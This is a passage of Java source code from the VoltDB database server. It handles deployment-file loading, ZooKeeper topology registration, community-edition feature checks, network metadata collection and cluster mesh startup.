}
try {
FileOutputStream fos = new FileOutputStream(configInfo);
fos.write(jsonBytes);
fos.getFD().sync();
fos.close();
} catch (IOException e) {
hostLog.error("Failed to log config info: " + e.getMessage());
e.printStackTrace();
}
}
private void logCatalogAndDeployment() {
File configInfoDir = getConfigDirectory();
configInfoDir.mkdirs();
try {
m_catalogContext.writeCatalogJarToFile(configInfoDir.getPath(), "catalog.jar");
} catch (IOException e) {
hostLog.error("Failed to log catalog: " + e.getMessage(), e);
e.printStackTrace();
}
logDeployment();
}
private void logDeployment() {
File configInfoDir = getConfigDirectory();
configInfoDir.mkdirs();
try {
File deploymentFile = getConfigLogDeployment();
if (deploymentFile.exists()) {
deploymentFile.delete();
}
FileOutputStream fileOutputStream = new FileOutputStream(deploymentFile);
fileOutputStream.write(m_catalogContext.getDeploymentBytes());
fileOutputStream.close();
} catch (Exception e) {
hostLog.error("Failed to log deployment file: " + e.getMessage(), e);
e.printStackTrace();
}
}
@Override
public void run() {
logConfigInfo();
logCatalogAndDeployment();
}
}
// Get topology information. If rejoining, get it directly from
// ZK. Otherwise, try to do the write/read race to ZK on startup.
private JSONObject getTopology(StartAction startAction, Map<Integer, String> hostGroups,
JoinCoordinator joinCoordinator)
{
JSONObject topo = null;
if (startAction == StartAction.JOIN) {
assert(joinCoordinator != null);
topo = joinCoordinator.getTopology();
}
else if (!startAction.doesRejoin()) {
int sitesperhost = m_catalogContext.getDeployment().getCluster().getSitesperhost();
int hostcount = m_clusterSettings.get().hostcount();
int kfactor = m_catalogContext.getDeployment().getCluster().getKfactor();
ClusterConfig clusterConfig = new ClusterConfig(hostcount, sitesperhost, kfactor);
if (!clusterConfig.validate()) {
VoltDB.crashLocalVoltDB(clusterConfig.getErrorMsg(), false, null);
}
topo = registerClusterConfig(clusterConfig, hostGroups);
}
else {
Stat stat = new Stat();
try {
topo =
new JSONObject(new String(m_messenger.getZK().getData(VoltZK.topology, false, stat), "UTF-8"));
}
catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to get topology from ZK", true, e);
}
}
return topo;
}
private TreeMap<Integer, Initiator> createIv2Initiators(Collection<Integer> partitions,
StartAction startAction,
List<Integer> m_partitionsToSitesAtStartupForExportInit)
{
TreeMap<Integer, Initiator> initiators = new TreeMap<>();
for (Integer partition : partitions)
{
Initiator initiator = new SpInitiator(m_messenger, partition, getStatsAgent(),
m_snapshotCompletionMonitor, startAction);
initiators.put(partition, initiator);
m_partitionsToSitesAtStartupForExportInit.add(partition);
}
return initiators;
}
private JSONObject registerClusterConfig(ClusterConfig config, Map<Integer, String> hostGroups)
{
// First, race to write the topology to ZK using Highlander rules
// (In the end, there can be only one)
JSONObject topo = null;
try
{
final Set<Integer> liveHostIds = m_messenger.getLiveHostIds();
Preconditions.checkArgument(hostGroups.keySet().equals(liveHostIds));
topo = config.getTopology(hostGroups);
byte[] payload = topo.toString(4).getBytes("UTF-8");
m_messenger.getZK().create(VoltZK.topology, payload,
Ids.OPEN_ACL_UNSAFE,
CreateMode.PERSISTENT);
}
catch (KeeperException.NodeExistsException nee)
{
// It's fine if we didn't win, we'll pick up the topology below
}
catch (Exception e)
{
VoltDB.crashLocalVoltDB("Unable to write topology to ZK, dying",
true, e);
}
// Then, have everyone read the topology data back from ZK
try
{
byte[] data = m_messenger.getZK().getData(VoltZK.topology, false, null);
topo = new JSONObject(new String(data, "UTF-8"));
}
catch (Exception e)
{
VoltDB.crashLocalVoltDB("Unable to read topology from ZK, dying",
true, e);
}
return topo;
}
private final List<ScheduledFuture<?>> m_periodicWorks = new ArrayList<>();
/**
* Schedule all the periodic works
*/
private void schedulePeriodicWorks() {
// JMX stats broadcast
m_periodicWorks.add(scheduleWork(new Runnable() {
@Override
public void run() {
// A null here was causing a steady stream of annoying but apparently inconsequential
// NPEs during a debug session of an unrelated unit test.
if (m_statsManager != null) {
m_statsManager.sendNotification();
}
}
}, 0, StatsManager.POLL_INTERVAL, TimeUnit.MILLISECONDS));
// small stats samples
m_periodicWorks.add(scheduleWork(new Runnable() {
@Override
public void run() {
SystemStatsCollector.asyncSampleSystemNow(false, false);
}
}, 0, 5, TimeUnit.SECONDS));
// medium stats samples
m_periodicWorks.add(scheduleWork(new Runnable() {
@Override
public void run() {
SystemStatsCollector.asyncSampleSystemNow(true, false);
}
}, 0, 1, TimeUnit.MINUTES));
// large stats samples
m_periodicWorks.add(scheduleWork(new Runnable() {
@Override
public void run() {
SystemStatsCollector.asyncSampleSystemNow(true, true);
}
}, 0, 6, TimeUnit.MINUTES));
GCInspector.instance.start(m_periodicPriorityWorkThread);
}
private void startResourceUsageMonitor() {
if (resMonitorWork != null) {
resMonitorWork.cancel(false);
try {
resMonitorWork.get();
} catch(Exception e) { } // Ignore exceptions because we don't really care about the result here.
m_periodicWorks.remove(resMonitorWork);
}
ResourceUsageMonitor resMonitor = new ResourceUsageMonitor(m_catalogContext.getDeployment().getSystemsettings());
resMonitor.logResourceLimitConfigurationInfo();
if (resMonitor.hasResourceLimitsConfigured()) {
resMonitorWork = scheduleWork(resMonitor, resMonitor.getResourceCheckInterval(), resMonitor.getResourceCheckInterval(), TimeUnit.SECONDS);
m_periodicWorks.add(resMonitorWork);
}
}
/**
* Takes the deployment file given at initialization and the voltdb root given as
* a command line options, and it performs the following tasks:
* <p><ul>
* <li>creates if necessary the voltdbroot directory
* <li>fail if voltdbroot is already configured and populated with database artifacts
* <li>creates command log, dr, snaphot, and export directories
* <li>creates the config directory under voltdbroot
* <li>moves the deployment file under the config directory
* </ul>
* @param config
* @param dt a {@link DeploymentTypel}
*/
private void stageDeploymemtFileForInitialize(Configuration config, DeploymentType dt) {
String deprootFN = dt.getPaths().getVoltdbroot().getPath();
File deprootFH = new VoltFile(deprootFN);
File cnfrootFH = config.m_voltdbRoot;
if (!cnfrootFH.exists() && !cnfrootFH.mkdirs()) {
VoltDB.crashLocalVoltDB("Unable to create the voltdbroot directory in " + cnfrootFH, false, null);
}
try {
File depcanoFH = null;
try {
depcanoFH = deprootFH.getCanonicalFile();
} catch (IOException e) {
depcanoFH = deprootFH;
}
File cnfcanoFH = cnfrootFH.getCanonicalFile();
if (!cnfcanoFH.equals(depcanoFH)) {
dt.getPaths().getVoltdbroot().setPath(cnfrootFH.getPath());
}
// root in deployment conflicts with command line voltdbroot
if (!VoltDB.DBROOT.equals(deprootFN)) {
consoleLog.info("Ignoring voltdbroot \"" + deprootFN + "\" specified in the deployment file");
hostLog.info("Ignoring voltdbroot \"" + deprootFN + "\" specified in the deployment file");
}
} catch (IOException e) {
VoltDB.crashLocalVoltDB(
"Unable to resolve voltdbroot location: " + config.m_voltdbRoot,
false, e);
return;
}
// check for already existing artifacts
List<String> nonEmptyPaths = managedPathsWithFiles(config, dt);
if (!nonEmptyPaths.isEmpty()) {
StringBuilder crashMessage =
new StringBuilder("Files from a previous database session exist in the managed directories:");
for (String nonEmptyPath : nonEmptyPaths) {
crashMessage.append("\n - " + nonEmptyPath);
}
crashMessage.append("\nUse the start command to start the initialized database or use init --force" +
" to initialize a new database session overwriting existing files.");
VoltDB.crashLocalVoltDB(crashMessage.toString());
return;
}
// create the config subdirectory
File confDH = getConfigDirectory(config);
if (!confDH.exists() && !confDH.mkdirs()) {
VoltDB.crashLocalVoltDB("Unable to create the config directory " + confDH);
return;
}
// create the remaining paths
if (config.m_isEnterprise) {
List<String> failed = m_paths.ensureDirectoriesExist();
if (!failed.isEmpty()) {
String msg = "Unable to access or create the following directories:\n "
+ Joiner.on("\n ").join(failed);
VoltDB.crashLocalVoltDB(msg);
return;
}
}
//In init/start mode we save adminmode to false always.
dt.getAdminMode().setAdminstartup(false);
//Now its safe to Save .paths
m_paths.store();
//Now that we are done with deployment configuration set all path null.
dt.setPaths(null);
// log message unconditionally indicating that the provided host-count and admin-mode settings in
// deployment, if any, will be ignored
consoleLog.info("When using the INIT command, some deployment file settings (hostcount, voltdbroot path, "
+ "and admin-mode) are ignored");
hostLog.info("When using the INIT command, some deployment file settings (hostcount, voltdbroot path, "
+ "and admin-mode) are ignored");
File depFH = getConfigLogDeployment(config);
try (FileWriter fw = new FileWriter(depFH)) {
fw.write(CatalogUtil.getDeployment(dt, true /* pretty print indent */));
} catch (IOException|RuntimeException e) {
VoltDB.crashLocalVoltDB("Unable to marshal deployment configuration to " + depFH, false, e);
}
// Save cluster settings properties derived from the deployment file
ClusterSettings.create(CatalogUtil.asClusterSettingsMap(dt)).store();
}
private void stageInitializedMarker(Configuration config) {
File depFH = new VoltFile(config.m_voltdbRoot, VoltDB.INITIALIZED_MARKER);
try (PrintWriter pw = new PrintWriter(new FileWriter(depFH), true)) {
pw.println(config.m_clusterName);
} catch (IOException e) {
VoltDB.crashLocalVoltDB("Unable to stage cluster name destination", false, e);
}
}
private void deleteInitializationMarkers(Configuration configuration) {
for (File c: configuration.getInitMarkers()) {
MiscUtils.deleteRecursively(c);
}
}
int readDeploymentAndCreateStarterCatalogContext(VoltDB.Configuration config) {
/*
* Debate with the cluster what the deployment file should be
*/
try {
ZooKeeper zk = m_messenger.getZK();
byte deploymentBytes[] = null;
try {
deploymentBytes = org.voltcore.utils.CoreUtils.urlToBytes(m_config.m_pathToDeployment);
} catch (Exception ex) {
//Let us get bytes from ZK
}
DeploymentType deployment = null;
try {
if (deploymentBytes != null) {
CatalogUtil.writeCatalogToZK(zk,
// Fill in innocuous values for non-deployment stuff
0,
0L,
0L,
new byte[] {}, // spin loop in Inits.LoadCatalog.run() needs
// this to be of zero length until we have a real catalog.
null,
deploymentBytes);
hostLog.info("URL of deployment: " + m_config.m_pathToDeployment);
} else {
CatalogAndIds catalogStuff = CatalogUtil.getCatalogFromZK(zk);
deploymentBytes = catalogStuff.deploymentBytes;
}
} catch (KeeperException.NodeExistsException e) {
CatalogAndIds catalogStuff = CatalogUtil.getCatalogFromZK(zk);
byte[] deploymentBytesTemp = catalogStuff.deploymentBytes;
if (deploymentBytesTemp != null) {
//Check hash if its a supplied deployment on command line.
//We will ignore the supplied or default deployment anyways.
if (deploymentBytes != null && !m_config.m_deploymentDefault) {
byte[] deploymentHashHere =
CatalogUtil.makeDeploymentHash(deploymentBytes);
if (!(Arrays.equals(deploymentHashHere, catalogStuff.getDeploymentHash())))
{
hostLog.warn("The locally provided deployment configuration did not " +
" match the configuration information found in the cluster.");
} else {
hostLog.info("Deployment configuration pulled from other cluster node.");
}
}
//Use remote deployment obtained.
deploymentBytes = deploymentBytesTemp;
} else {
hostLog.error("Deployment file could not be loaded locally or remotely, "
+ "local supplied path: " + m_config.m_pathToDeployment);
deploymentBytes = null;
}
} catch(KeeperException.NoNodeException e) {
// no deploymentBytes case is handled below. So just log this error.
if (hostLog.isDebugEnabled()) {
hostLog.debug("Error trying to get deployment bytes from cluster", e);
}
}
if (deploymentBytes == null) {
hostLog.error("Deployment information could not be obtained from cluster node or locally");
VoltDB.crashLocalVoltDB("No such deployment file: "
+ m_config.m_pathToDeployment, false, null);
}
if (deployment == null) {
deployment = CatalogUtil.getDeployment(new ByteArrayInputStream(deploymentBytes));
}
// wasn't a valid xml deployment file
if (deployment == null) {
hostLog.error("Not a valid XML deployment file at URL: " + m_config.m_pathToDeployment);
VoltDB.crashLocalVoltDB("Not a valid XML deployment file at URL: "
+ m_config.m_pathToDeployment, false, null);
}
/*
* Check for invalid deployment file settings (enterprise-only) in the community edition.
* Trick here is to print out all applicable problems and then stop, rather than stopping
* after the first one is found.
*/
if (!m_config.m_isEnterprise) {
boolean shutdownDeployment = false;
boolean shutdownAction = false;
// check license features for community version
if ((deployment.getCluster() != null) && (deployment.getCluster().getKfactor() > 0)) {
consoleLog.error("K-Safety is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getSnapshot() != null) && (deployment.getSnapshot().isEnabled())) {
consoleLog.error("Snapshots are not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getCommandlog() != null) && (deployment.getCommandlog().isEnabled())) {
consoleLog.error("Command logging is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getExport() != null) && Boolean.TRUE.equals(deployment.getExport().isEnabled())) {
consoleLog.error("Export is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
// check the start action for the community edition
if (m_config.m_startAction != StartAction.CREATE) {
consoleLog.error("Start action \"" + m_config.m_startAction.getClass().getSimpleName() +
"\" is not supported in the community edition of VoltDB.");
shutdownAction = true;
}
// if the process needs to stop, try to be helpful
if (shutdownAction || shutdownDeployment) {
String msg = "This process will exit. Please run VoltDB with ";
if (shutdownDeployment) {
msg += "a deployment file compatible with the community edition";
}
if (shutdownDeployment && shutdownAction) {
msg += " and ";
}
if (shutdownAction && !shutdownDeployment) {
msg += "the CREATE start action";
}
msg += ".";
VoltDB.crashLocalVoltDB(msg, false, null);
}
}
// note the heart beats are specified in seconds in xml, but ms internally
HeartbeatType hbt = deployment.getHeartbeat();
if (hbt != null) {
m_config.m_deadHostTimeoutMS = hbt.getTimeout() * 1000;
m_messenger.setDeadHostTimeout(m_config.m_deadHostTimeoutMS);
} else {
hostLog.info("Dead host timeout set to " + m_config.m_deadHostTimeoutMS + " milliseconds");
}
PartitionDetectionType pt = deployment.getPartitionDetection();
if (pt != null) {
m_config.m_partitionDetectionEnabled = pt.isEnabled();
m_messenger.setPartitionDetectionEnabled(m_config.m_partitionDetectionEnabled);
// check for user using deprecated settings
PartitionDetectionType.Snapshot snapshot = pt.getSnapshot();
if (snapshot != null) {
String prefix = snapshot.getPrefix();
if ((prefix != null) && ("partition_detection".equalsIgnoreCase(prefix) == false)) {
hostLog.warn(String.format("Partition Detection snapshots are "
+ "no longer supported. Prefix value \"%s\" will be ignored.", prefix));
}
}
}
// get any consistency settings into config
ConsistencyType consistencyType = deployment.getConsistency();
if (consistencyType != null) {
m_config.m_consistencyReadLevel = Consistency.ReadLevel.fromReadLevelType(consistencyType.getReadlevel());
}
final String elasticSetting = deployment.getCluster().getElastic().trim().toUpperCase();
if (elasticSetting.equals("ENABLED")) {
TheHashinator.setConfiguredHashinatorType(HashinatorType.ELASTIC);
} else if (!elasticSetting.equals("DISABLED")) {
VoltDB.crashLocalVoltDB("Error in deployment file, elastic attribute of " +
"cluster element must be " +
"'enabled' or 'disabled' but was '" + elasticSetting + "'", false, null);
}
else {
TheHashinator.setConfiguredHashinatorType(HashinatorType.LEGACY);
}
// log system setting information
SystemSettingsType sysType = deployment.getSystemsettings();
if (sysType != null) {
if (sysType.getElastic() != null) {
hostLog.info("Elastic duration set to " + sysType.getElastic().getDuration() + " milliseconds");
hostLog.info("Elastic throughput set to " + sysType.getElastic().getThroughput() + " mb/s");
}
if (sysType.getTemptables() != null) {
hostLog.info("Max temptable size set to " + sysType.getTemptables().getMaxsize() + " mb");
}
if (sysType.getSnapshot() != null) {
hostLog.info("Snapshot priority set to " + sysType.getSnapshot().getPriority() + " [0 - 10]");
}
if (sysType.getQuery() != null) {
if (sysType.getQuery().getTimeout() > 0) {
hostLog.info("Query timeout set to " + sysType.getQuery().getTimeout() + " milliseconds");
m_config.m_queryTimeout = sysType.getQuery().getTimeout();
}
else if (sysType.getQuery().getTimeout() == 0) {
hostLog.info("Query timeout set to unlimited");
m_config.m_queryTimeout = 0;
}
}
}
// create a dummy catalog to load deployment info into
Catalog catalog = new Catalog();
// Need these in the dummy catalog
Cluster cluster = catalog.getClusters().add("cluster");
@SuppressWarnings("unused")
Database db = cluster.getDatabases().add("database");
String result = CatalogUtil.compileDeployment(catalog, deployment, true);
if (result != null) {
// Any other non-enterprise deployment errors will be caught and handled here
// (such as <= 0 host count)
VoltDB.crashLocalVoltDB(result);
}
m_catalogContext = new CatalogContext(
TxnEgo.makeZero(MpInitiator.MP_INIT_PID).getTxnId(), //txnid
0, //timestamp
catalog,
m_clusterSettings,
new byte[] {},
null,
deploymentBytes,
0);
return m_clusterSettings.get().hostcount();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void loadLegacyPathProperties(DeploymentType deployment) throws IOException {
//Load deployment paths now if Legacy so that we access through the interface all the time.
if (isRunningWithOldVerbs() && m_paths == null) {
m_paths = PathSettings.create(CatalogUtil.asPathSettingsMap(deployment));
List<String> failed = m_paths.ensureDirectoriesExist();
if (!failed.isEmpty()) {
String msg = "Unable to validate path settings:\n " +
Joiner.on("\n ").join(failed);
hostLog.fatal(msg);
throw new IOException(msg);
}
}
}
static class ReadDeploymentResults {
final byte [] deploymentBytes;
final DeploymentType deployment;
ReadDeploymentResults(byte [] deploymentBytes, DeploymentType deployment) {
this.deploymentBytes = deploymentBytes;
this.deployment = deployment;
}
}
ReadDeploymentResults readPrimedDeployment(Configuration config) {
/*
* Debate with the cluster what the deployment file should be
*/
try {
byte deploymentBytes[] = null;
try {
deploymentBytes = org.voltcore.utils.CoreUtils.urlToBytes(config.m_pathToDeployment);
} catch (Exception ex) {
//Let us get bytes from ZK
}
if (deploymentBytes == null) {
hostLog.error("Deployment information could not be obtained from cluster node or locally");
VoltDB.crashLocalVoltDB("No such deployment file: "
+ config.m_pathToDeployment, false, null);
}
DeploymentType deployment =
CatalogUtil.getDeployment(new ByteArrayInputStream(deploymentBytes));
// wasn't a valid xml deployment file
if (deployment == null) {
hostLog.error("Not a valid XML deployment file at URL: " + config.m_pathToDeployment);
VoltDB.crashLocalVoltDB("Not a valid XML deployment file at URL: "
+ config.m_pathToDeployment, false, null);
return new ReadDeploymentResults(deploymentBytes, deployment);
}
PathSettings pathSettings = null;
// adjust deployment host count when the cluster members are given by mesh configuration
// providers
switch(config.m_startAction) {
case PROBE:
// once a voltdbroot is inited, the path properties contain the true path values
Settings.initialize(config.m_voltdbRoot);
pathSettings = PathSettings.create();
File pathSettingsFH = new File(getConfigDirectory(config), "path.properties");
consoleLog.info("Loaded path settings from " + pathSettingsFH.getPath());
hostLog.info("Loaded path settings from " + pathSettingsFH.getPath());
break;
case INITIALIZE:
Settings.initialize(config.m_voltdbRoot);
// voltdbroot value from config overrides voltdbroot value in the deployment
// file
pathSettings = PathSettings.create(
config.asPathSettingsMap(),
CatalogUtil.asPathSettingsMap(deployment));
break;
default:
pathSettings = PathSettings.create(CatalogUtil.asPathSettingsMap(deployment));
Settings.initialize(pathSettings.getVoltDBRoot());
config.m_voltdbRoot = pathSettings.getVoltDBRoot();
break;
}
m_paths = pathSettings;
if (config.m_startAction == StartAction.PROBE) {
// once initialized the path properties contain the true path values
if (config.m_hostCount == VoltDB.UNDEFINED) {
config.m_hostCount = 1;
}
} else {
config.m_hostCount = deployment.getCluster().getHostcount();
}
/*
* Check for invalid deployment file settings (enterprise-only) in the community edition.
* Trick here is to print out all applicable problems and then stop, rather than stopping
* after the first one is found.
*/
if (!config.m_isEnterprise) {
boolean shutdownDeployment = false;
boolean shutdownAction = false;
// check license features for community version
if ((deployment.getCluster() != null) && (deployment.getCluster().getKfactor() > 0)) {
consoleLog.error("K-Safety is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getSnapshot() != null) && (deployment.getSnapshot().isEnabled())) {
consoleLog.error("Snapshots are not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getCommandlog() != null) && (deployment.getCommandlog().isEnabled())) {
consoleLog.error("Command logging is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getExport() != null) && Boolean.TRUE.equals(deployment.getExport().isEnabled())) {
consoleLog.error("Export is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
// check the start action for the community edition
if (m_config.m_startAction != StartAction.CREATE) {
consoleLog.error("Start action \"" + m_config.m_startAction.getClass().getSimpleName() +
"\" is not supported in the community edition of VoltDB.");
shutdownAction = true;
}
// if the process needs to stop, try to be helpful
if (shutdownAction || shutdownDeployment) {
String msg = "This process will exit. Please run VoltDB with ";
if (shutdownDeployment) {
msg += "a deployment file compatible with the community edition";
}
if (shutdownDeployment && shutdownAction) {
msg += " and ";
}
if (shutdownAction && !shutdownDeployment) {
msg += "the CREATE start action";
}
msg += ".";
VoltDB.crashLocalVoltDB(msg, false, null);
}
}
return new ReadDeploymentResults(deploymentBytes, deployment);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
void collectLocalNetworkMetadata() {
boolean threw = false;
JSONStringer stringer = new JSONStringer();
try {
stringer.object();
stringer.key("interfaces").array();
/*
* If no interface was specified, do a ton of work
* to identify all ipv4 or ipv6 interfaces and
* marshal them into JSON. Always put the ipv4 address first
* so that the export client will use it
*/
if (m_config.m_externalInterface.equals("")) {
LinkedList<NetworkInterface> interfaces = new LinkedList<>();
try {
Enumeration<NetworkInterface> intfEnum = NetworkInterface.getNetworkInterfaces();
while (intfEnum.hasMoreElements()) {
NetworkInterface intf = intfEnum.nextElement();
if (intf.isLoopback() || !intf.isUp()) {
continue;
}
interfaces.offer(intf);
}
} catch (SocketException e) {
throw new RuntimeException(e);
}
if (interfaces.isEmpty()) {
stringer.value("localhost");
} else {
boolean addedIp = false;
while (!interfaces.isEmpty()) {
NetworkInterface intf = interfaces.poll();
Enumeration<InetAddress> inetAddrs = intf.getInetAddresses();
Inet6Address inet6addr = null;
Inet4Address inet4addr = null;
while (inetAddrs.hasMoreElements()) {
InetAddress addr = inetAddrs.nextElement();
if (addr instanceof Inet6Address) {
inet6addr = (Inet6Address)addr;
if (inet6addr.isLinkLocalAddress()) {
inet6addr = null;
}
} else if (addr instanceof Inet4Address) {
inet4addr = (Inet4Address)addr;
}
}
if (inet4addr != null) {
stringer.value(inet4addr.getHostAddress());
addedIp = true;
}
if (inet6addr != null) {
stringer.value(inet6addr.getHostAddress());
addedIp = true;
}
}
if (!addedIp) {
stringer.value("localhost");
}
}
} else {
stringer.value(m_config.m_externalInterface);
}
} catch (Exception e) {
threw = true;
hostLog.warn("Error while collecting data about local network interfaces", e);
}
try {
if (threw) {
stringer = new JSONStringer();
stringer.object();
stringer.key("interfaces").array();
stringer.value("localhost");
stringer.endArray();
} else {
stringer.endArray();
}
stringer.key("clientPort").value(m_config.m_port);
stringer.key("clientInterface").value(m_config.m_clientInterface);
stringer.key("adminPort").value(m_config.m_adminPort);
stringer.key("adminInterface").value(m_config.m_adminInterface);
stringer.key("httpPort").value(m_config.m_httpPort);
stringer.key("httpInterface").value(m_config.m_httpPortInterface);
stringer.key("internalPort").value(m_config.m_internalPort);
stringer.key("internalInterface").value(m_config.m_internalInterface);
String[] zkInterface = m_config.m_zkInterface.split(":");
stringer.key("zkPort").value(zkInterface[1]);
stringer.key("zkInterface").value(zkInterface[0]);
stringer.key("drPort").value(VoltDB.getReplicationPort(m_catalogContext.cluster.getDrproducerport()));
stringer.key("drInterface").value(VoltDB.getDefaultReplicationInterface());
stringer.key("publicInterface").value(m_config.m_publicInterface);
stringer.endObject();
JSONObject obj = new JSONObject(stringer.toString());
// possibly atomic swap from null to realz
m_localMetadata = obj.toString(4);
hostLog.debug("System Metadata is: " + m_localMetadata);
} catch (Exception e) {
hostLog.warn("Failed to collect data about lcoal network interfaces", e);
}
}
@Override
public boolean isBare() {
return m_isBare;
}
void setBare(boolean flag) {
m_isBare = flag;
}
/**
* Start the voltcore HostMessenger. This joins the node
* to the existing cluster. In the non rejoin case, this
* function will return when the mesh is complete. If
* rejoining, it will return when the node and agreement
* site are synched to the existing cluster.
*/
MeshProber.Determination buildClusterMesh(ReadDeploymentResults readDepl) {
final boolean bareAtStartup = m_config.m_forceVoltdbCreate
|| pathsWithRecoverableArtifacts(readDepl.deployment).isEmpty();
setBare(bareAtStartup);
final Supplier<Integer> hostCountSupplier = new Supplier<Integer>() {
@Override
public Integer get() {
return m_clusterSettings.get().hostcount();
}
};
ClusterType clusterType = readDepl.deployment.getCluster();
MeshProber criteria = MeshProber.builder()
.coordinators(m_config.m_coordinators)
.versionChecker(m_versionChecker)
.enterprise(m_config.m_isEnterprise)
.startAction(m_config.m_startAction)
.bare(bareAtStartup)
.configHash(CatalogUtil.makeDeploymentHashForConfig(readDepl.deploymentBytes))
.hostCountSupplier(hostCountSupplier)
.kfactor(clusterType.getKfactor())
.paused(m_config.m_isPaused)
.nodeStateSupplier(m_statusTracker.getNodeStateSupplier())
.addAllowed(m_config.m_enableAdd)
.safeMode(m_config.m_safeMode)
.build();
HostAndPort hostAndPort = criteria.getLeader();
String hostname = hostAndPort.getHostText();
int port = hostAndPort.getPort();
org.voltcore.messaging.HostMessenger.Config hmconfig;
hmconfig = new org.voltcore.messaging.HostMessenger.Config(hostname, port);
if (m_config.m_placementGroup != null) {
hmconfig.group = m_config.m_placementGroup;
}
hmconfig.internalPort = m_config.m_internalPort;
hmconfig.internalInterface = m_config.m_internalInterface;
hmconfig.zkInterface = m_config.m_zkInterface;
hmconfig.deadHostTimeout = m_config.m_deadHostTimeoutMS;
hmconfig.factory = new VoltDbMessageFactory();
hmconfig.coreBindIds = m_config.m_networkCoreBindings;
hmconfig.acceptor = criteria;
m_messenger = new org.voltcore.messaging.HostMessenger(hmconfig, this);
hostLog.info(String.format("Beginning inter-node communication on port %d.", m_config.m_internalPort));
try {
m_messenger.start();
} catch (Exception e) {
VoltDB.crashLocalVoltDB(e.getMessage(), true, e);
}
VoltZK.createPersistentZKNodes(m_messenger.getZK());
// Use the host messenger's hostId.
m_myHostId = m_messenger.getHostId();
hostLog.info(String.format("Host id of this node is: %d", m_myHostId));
consoleLog.info(String.format("Host id of this node is: %d", m_myHostId));
MeshProber.Determination determination = criteria.waitForDetermination();
// paused is determined in the mesh formation exchanged
if (determination.paused) {
m_messenger.pause();
} else {
m_messenger.unpause();
}
// Semi-hacky check to see if we're attempting to rejoin to ourselves.
// The leader node gets assigned host ID 0, always, so if we're the
// leader and we're rejoining, this is clearly bad.
if (m_myHostId == 0 && determination.startAction.doesJoin()) {
VoltDB.crashLocalVoltDB("Unable to rejoin a node to itself. " +
"Please check your command line and start action and try again.", false, null);
}
// load or store settings form/to zookeeper
if (determination.startAction.doesJoin()) {
m_clusterSettings.load(m_messenger.getZK());
m_clusterSettings.get().store();
} else if (m_myHostId == 0) {
m_clusterSettings.store(m_messenger.getZK());
}
ClusterConfig config = new ClusterConfig(
m_clusterSettings.get().hostcount(),
clusterType.getSitesperhost(),
clusterType.getKfactor()
);
if (!config.validate()) {
VoltDB.crashLocalVoltDB("Cluster parameters failed validation: " + config.getErrorMsg());;
}
m_clusterCreateTime = m_messenger.getInstanceId().getTimestamp();
return determination;
}
void logDebuggingInfo(int adminPort, int httpPort, String httpPortExtraLogMessage, boolean jsonEnabled) {
String startAction = m_config.m_startAction.toString();
String startActionLog = "Database start action is " + (startAction.substring(0, 1).toUpperCase() +
startAction.substring(1).toLowerCase()) + ".";
if (!m_rejoining) {
hostLog.info(startActionLog);
}
hostLog.info("PID of this Volt process is " + CLibrary.getpid());
// print out awesome network stuff
hostLog.info(String.format("Listening for native wire protocol clients on port %d.", m_config.m_port));
hostLog.info(String.format("Listening for admin wire protocol clients on port %d.", adminPort));
if (m_startMode == OperationMode.PAUSED) {
hostLog.info(String.format("Started in admin mode. Clients on port %d will be rejected in admin mode.", m_config.m_port));
}
if (m_config.m_replicationRole == ReplicationRole.REPLICA) {
consoleLog.info("Started as " + m_config.m_replicationRole.toString().toLowerCase() + " cluster. " +
"Clients can only call read-only procedures.");
}
if (httpPortExtraLogMessage != null) {
hostLog.info(httpPortExtraLogMessage);
}
if (httpPort != -1) {
hostLog.info(String.format("Local machine HTTP monitoring is listening on port %d.", httpPort));
}
else {
hostLog.info(String.format("Local machine HTTP monitoring is disabled."));
}
if (jsonEnabled) {
hostLog.info(String.format("Json API over HTTP enabled at path /api/1.0/, listening on port %d.", httpPort));
}
else {
hostLog.info("Json API disabled.");
}
// java heap size
long javamaxheapmem = ManagementFactory.getMemoryMXBean().getHeapMemoryUsage().getMax();
javamaxheapmem /= (1024 * 1024);
hostLog.info(String.format("Maximum usable Java heap set to %d mb.", javamaxheapmem));
// Computed minimum heap requirement
long minRqt = computeMinimumHeapRqt(MiscUtils.isPro(), m_catalogContext.tables.size(),
(m_iv2Initiators.size() - 1), m_configuredReplicationFactor);
hostLog.info("Minimum required Java heap for catalog and server config is " + minRqt + " MB.");
SortedMap<String, String> dbgMap = m_catalogContext.getDebuggingInfoFromCatalog();
for (String line : dbgMap.values()) {
hostLog.info(line);
}
// print out a bunch of useful system info
PlatformProperties pp = PlatformProperties.getPlatformProperties();
String[] lines = pp.toLogLines(getVersionString()).split("\n");
for (String line : lines) {
hostLog.info(line.trim());
}
hostLog.info("The internal DR cluster timestamp is " +
new Date(m_clusterCreateTime).toString() + ".");
final ZooKeeper zk = m_messenger.getZK();
ZKUtil.ByteArrayCallback operationModeFuture = new ZKUtil.ByteArrayCallback();
/*
* Publish our cluster metadata, and then retrieve the metadata
* for the rest of the cluster
*/
try {
zk.create(
VoltZK.cluster_metadata + "/" + m_messenger.getHostId(),
getLocalMetadata().getBytes("UTF-8"),
Ids.OPEN_ACL_UNSAFE,
CreateMode.EPHEMERAL,
new ZKUtil.StringCallback(),
null);
zk.getData(VoltZK.operationMode, false, operationModeFuture, null);
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Error creating \"/cluster_metadata\" node in ZK", true, e);
}
Map<Integer, String> clusterMetadata = new HashMap<>(0);
/*
* Spin and attempt to retrieve cluster metadata for all nodes in the cluster.
*/
Set<Integer> metadataToRetrieve = new HashSet<>(m_messenger.getLiveHostIds());
metadataToRetrieve.remove(m_messenger.getHostId());
while (!metadataToRetrieve.isEmpty()) {
Map<Integer, ZKUtil.ByteArrayCallback> callbacks = new HashMap<>();
for (Integer hostId : metadataToRetrieve) {
ZKUtil.ByteArrayCallback cb = new ZKUtil.ByteArrayCallback();
